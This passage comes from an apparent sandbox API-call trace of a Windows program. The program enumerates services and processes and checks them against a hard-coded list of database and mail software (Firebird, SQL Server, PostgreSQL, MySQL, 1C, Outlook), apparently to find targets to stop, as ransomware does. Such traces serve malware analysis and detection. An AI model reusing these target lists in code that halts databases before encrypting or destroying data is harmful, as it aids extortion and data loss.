13 [0233.172] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0233.173] CloseHandle (hObject=0x3ac) returned 1 [0233.174] Sleep (dwMilliseconds=0x1f4) [0233.851] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c30b8 [0234.335] EnumServicesStatusExW (in: hSCManager=0x41c30b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0234.337] GetLastError () returned 0xea [0234.337] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xdea) returned 0x41d0998 [0234.337] EnumServicesStatusExW (in: hSCManager=0x41c30b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xdea, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0234.338] CloseServiceHandle (hSCObject=0x41c30b8) returned 1 [0234.339] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0234.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0234.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0234.339] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0234.340] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0234.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0234.340] lstrlenW (lpString="AudioSrv") returned 8 [0234.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0234.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0234.340] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0234.340] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0234.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0234.340] lstrlenW (lpString="BFE") returned 3 [0234.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0234.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0234.340] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0234.340] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0234.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0234.341] lstrlenW (lpString="CryptSvc") returned 8 [0234.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0234.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0234.341] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0234.341] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0234.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0234.341] lstrlenW (lpString="CscService") returned 10 [0234.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0234.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0234.341] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0234.342] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0234.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0234.342] lstrlenW (lpString="DcomLaunch") returned 10 [0234.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0234.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0234.342] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0234.342] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0234.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0234.342] lstrlenW (lpString="Dhcp") returned 4 [0234.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0234.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0234.342] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0234.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0234.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0234.343] lstrlenW (lpString="Dnscache") returned 8 [0234.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0234.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0234.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0234.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0234.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0234.343] lstrlenW (lpString="DPS") returned 3 [0234.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0234.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0234.344] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0234.344] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0234.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0234.344] lstrlenW (lpString="eventlog") returned 8 [0234.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0234.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0234.344] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0234.344] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0234.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0234.344] lstrlenW (lpString="EventSystem") returned 11 [0234.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0234.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0234.344] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0234.344] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0234.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0234.344] lstrlenW (lpString="gpsvc") returned 5 [0234.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0234.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0234.345] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0234.345] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0234.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0234.345] lstrlenW (lpString="LanmanWorkstation") returned 17 [0234.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0234.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0234.345] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0234.345] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0234.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0234.345] lstrlenW (lpString="lmhosts") returned 7 [0234.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0234.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0234.346] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0234.346] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0234.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0234.346] lstrlenW (lpString="MMCSS") returned 5 [0234.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0234.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0234.346] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0234.346] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0234.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0234.346] lstrlenW (lpString="MpsSvc") returned 6 [0234.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0234.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0234.346] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0234.347] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0234.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0234.347] lstrlenW (lpString="NlaSvc") returned 6 [0234.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0234.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0234.347] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0234.347] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0234.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0234.347] lstrlenW (lpString="nsi") returned 3 [0234.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0234.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0234.347] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0234.347] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0234.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0234.348] lstrlenW (lpString="PcaSvc") returned 6 [0234.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0234.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0234.348] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0234.348] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0234.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0234.348] lstrlenW (lpString="PlugPlay") returned 8 [0234.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0234.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0234.348] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0234.348] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0234.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0234.349] lstrlenW (lpString="Power") returned 5 [0234.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0234.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0234.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0234.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0234.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0234.349] lstrlenW (lpString="ProfSvc") returned 7 [0234.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0234.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0234.349] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0234.349] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0234.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0234.349] lstrlenW (lpString="RpcEptMapper") returned 12 [0234.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0234.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0234.350] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0234.350] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0234.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0234.350] lstrlenW (lpString="RpcSs") returned 5 [0234.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0234.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0234.350] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0234.350] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0234.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0234.351] lstrlenW (lpString="SamSs") returned 5 [0234.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0234.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0234.351] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0234.351] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0234.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0234.351] lstrlenW (lpString="Schedule") returned 8 [0234.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0234.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0234.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0234.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0234.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0234.352] lstrlenW (lpString="SENS") returned 4 [0234.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0234.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0234.353] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0234.353] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0234.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0234.353] lstrlenW (lpString="ShellHWDetection") returned 16 [0234.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0234.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0234.353] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0234.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0234.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0234.353] lstrlenW (lpString="Spooler") returned 7 [0234.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0234.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0234.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0234.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0234.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0234.354] lstrlenW (lpString="SysMain") returned 7 [0234.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0234.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0234.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0234.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0234.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0234.354] lstrlenW (lpString="Themes") returned 6 [0234.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0234.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0234.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0234.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0234.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0234.355] lstrlenW (lpString="TrkWks") returned 6 [0234.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0234.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0234.355] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0234.355] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0234.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0234.355] lstrlenW (lpString="UxSms") returned 5 [0234.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0234.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0234.356] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0234.356] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0234.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0234.356] lstrlenW (lpString="Winmgmt") returned 7 [0234.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0234.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0234.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0234.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0234.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0234.356] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0234.357] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0234.361] Process32FirstW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.362] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0234.363] lstrlenW (lpString="System") returned 6 [0234.363] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0234.363] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0234.363] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0234.363] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0234.363] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0234.363] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0234.363] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0234.363] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0234.364] lstrlenW (lpString="smss.exe") returned 8 [0234.364] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0234.364] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0234.364] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0234.365] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0234.365] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0234.365] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0234.365] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0234.365] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.366] lstrlenW (lpString="csrss.exe") returned 9 [0234.366] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0234.366] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0234.366] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0234.366] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0234.366] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0234.366] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0234.366] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0234.367] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0234.368] lstrlenW (lpString="wininit.exe") returned 11 [0234.368] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0234.368] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0234.368] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0234.369] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0234.369] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0234.369] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0234.369] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0234.369] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.370] lstrlenW (lpString="csrss.exe") returned 9 [0234.370] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0234.370] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0234.370] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0234.370] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0234.370] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0234.370] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0234.370] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0234.370] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0234.371] lstrlenW (lpString="winlogon.exe") returned 12 [0234.371] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0234.372] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0234.372] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0234.372] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0234.372] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0234.372] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0234.372] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0234.372] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0234.373] lstrlenW (lpString="services.exe") returned 12 [0234.373] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0234.373] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0234.373] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0234.373] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0234.373] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0234.374] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0234.374] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0234.374] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0234.375] lstrlenW (lpString="lsass.exe") returned 9 [0234.375] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0234.375] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0234.375] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0234.375] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0234.375] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0234.375] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0234.375] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0234.375] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0234.376] lstrlenW (lpString="lsm.exe") returned 7 [0234.376] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0234.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0234.376] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0234.376] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0234.377] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0234.377] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0234.377] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0234.377] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.378] lstrlenW (lpString="svchost.exe") returned 11 [0234.378] lstrcmpiW (lpString1="1c8.exe", 